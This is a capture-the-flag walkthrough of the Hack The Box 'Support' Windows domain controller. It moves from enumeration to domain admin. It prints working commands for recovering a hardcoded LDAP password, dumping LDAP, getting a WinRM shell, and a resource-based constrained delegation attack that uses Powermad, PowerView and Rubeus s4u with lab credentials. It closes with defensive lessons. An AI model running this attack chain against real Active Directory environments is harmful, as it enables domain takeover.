Enumeration

Full TCP nmap scan:

# Nmap 7.92 scan initiated Thu Aug  4 00:57:30 2022 as: nmap -v -sV -sC -p- -oN full_tcp.nmap 10.129.155.5
Nmap scan report for 10.129.155.5
Host is up (0.048s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-04 04:59:23Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49682/tcp open  msrpc         Microsoft Windows RPC
49699/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1s
| smb2-time: 
|   date: 2022-08-04T05:00:13
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug  4 01:00:54 2022 -- 1 IP address (1 host up) scanned in 204.20 seconds

Start enumerating SMB 139/445

smbclient --no-pass -L //10.129.155.5

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        support-tools   Disk      support staff tools
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.155.5 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

support-tools seems interesting…

smbclient --no-pass //10.129.155.5/support-tools
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jul 20 13:01:06 2022
  ..                                  D        0  Sat May 28 07:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 07:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 07:19:55 2022
  putty.exe                           A  1273576  Sat May 28 07:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 07:19:31 2022
  UserInfo.exe.zip                    A   277499  Wed Jul 20 13:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 07:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 07:19:43 2022

                4026367 blocks of size 4096. 884688 blocks available
smb: \> 

Looks like standard helpdesk support tools except for UserInfo.exe.zip.

Download the file

smb: \> get UserInfo.exe.zip 
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (670.8 KiloBytes/sec) (average 670.8 KiloBytes/sec)
smb: \> 

Unzip it and it’s a bunch of DLLs and an exe. Running file against the exe tells us that it is a .NET assembly.

┌──(kali㉿kali)-[~/Targets/HTB/Support/UserInfo]
└─$ ls
CommandLineParser.dll                                      System.Memory.dll
Microsoft.Bcl.AsyncInterfaces.dll                          System.Numerics.Vectors.dll
Microsoft.Extensions.DependencyInjection.Abstractions.dll  System.Runtime.CompilerServices.Unsafe.dll
Microsoft.Extensions.DependencyInjection.dll               System.Threading.Tasks.Extensions.dll
Microsoft.Extensions.Logging.Abstractions.dll              UserInfo.exe
System.Buffers.dll                                         UserInfo.exe.config
                                                                                                                    
┌──(kali㉿kali)-[~/Targets/HTB/Support/UserInfo]
└─$ file UserInfo.exe         
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

So throw it in dnSpy. (A decompiler and debugger)

Going to UserInfo.Services.Protected class, I found a hardcoded password that appears to be encrypted. Lucky enough the developer also hardcoded the encryption key…… facepalm

So the easiest way I found was to copypasta the C# code into my own little project to print out the password in plaintext using the UserInfo.Services.Protected.getPassword() method.

So on my kali machine:

dotnet new console creates a new console application. Paste the source code into it. Remove the namespacing stuff. Fix a casting error by casting to byte. Create a Main method that will Console.Writeline() out the password. dotnet run will run the code and print out the password in plaintext.

Reviewing the rest of the source code I noticed that LdapQuery class had a hardcoded username. “domain\\username”

Taking that information I can use CrackMapExec to enumerate users with the valid LDAP credentials.

CME is a bit limited in how much LDAP enumeration you can do. So I used ldapdomaindump to dump the entire LDAP domain and look for anything interesting. The way I like to do it is:

mkdir ldapdump.dir && cd ldapdump.dir

└─$ ldapdomaindump -u support\\ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -m 10.129.81.17
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

It will output a lot of files in different formats. But you can start a web server and view the HTML files in your browser.

python3 -m http.server 8000

Reading through the output I saw that the suport user is in the Remote Management Users group which maybe the way in (WinRM).

Sadly, that same password does not work for the user support

After trying a bunch of different things that did not work, I went back and enumerated ldap again with a different tool. This time I used ldapsearch

ldapsearch -x -H ldap://support.htb -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb"

Looking through the ldapsearch output, I found the support user, and in the info section found what appeared to be a password.

Since the support user is in the remote management group. Now we can use evil-winrm to get a shell to the machine.

evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful

Next I’ll use BloodHound to try to find a privilege escalation path. To do that first I download SharpHound.ps1 onto the target machine, then you import the module and invoke bloodhound with

Invoke-Module -CollectionMethod All 

This will create a zip file with all of the data needed to import into BloodHound. Next we download the zip file onto the attack machine where bloodhound and neo4j are running and import the zip file into BloodHound

Next we will search for the owned user “support@support.htb” and view the Node Info.

In the Node Info > Outbound Control Rights, there is a 1 next to “Group Delegated Object Control” so we will select that. Then the BloodHound graph will change and you will see that the support user is a MemberOf “SHARED SUPPORT ACCOUNTS@SUPPORT.HTB” which has the GenericAll permission for DC.SUPPORT.HTB

If you click on the GenericAll graph edge, then right click > Help > Abuse Info. BloodHound will nicely tell you how to perform a kerberos resource based contrained delegation attack to get full control of a computer object.

So at this point it is just following the abuse info steps >:)

  1. Download Powermad.ps1 on to target.
  2. Add a new attacker-controlled computer account.
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)

3. Next load PowerView from PowerSploit PowerSploit and execute

$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
  1. We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
  1. Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer account we’re taking over, again using PowerView in this case:
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Next we will need to build Rubeus

Transfer it over to the victim machine..

  1. On the victim machine run to hash the plaintext password into its RC4_HMAC form:
Rubeus.exe hash /password:Summer2018!
  1. Lastly, we can use Rubeus’ s4u module to get a service ticket for the service name (sname) we want to “pretend” to be “admin” for. This ticket is injected (thanks to /ptt), and in this case grants us access to the file system of the TARGETCOMPUTER.
./Rubeus.exe s4u /user:attackersystem /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /ptt

Since this is base64 encoded, we base64 decode it and save it as admin.kirbi.

Then convert from .kirbi to .ccache: ticketConverter.py is from impacket.

┌──(kali㉿kali)-[~/Targets/HTB/machines/Support]
└─$ ./ticketConverter.py ./admin.kirbi admin.ccache
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] converting kirbi to ccache...
[+] done

Finally, we’ll use wmiexec from impacket to get an admin shell.

Lessons Learned

  • Do not hardcode passwords in source code! If they are encrypted but the decryption routine is built into source, is the equivalent of hardcoding plaintext passwords! Just don’t do it!
  • LDAP description fields are not a safe way to store passwords!

Based on this RBCD Abuse article,

  • Lockdown and understand Active Directory permissions within your environment. Knowing who has access to Active Directory is pertinent to securing it. Being able to modify a computer objects attribute is just one avenue that an attacker can use to exploit your environment.
  • Ensure that sensitive accounts that should not be delegated are marked as such.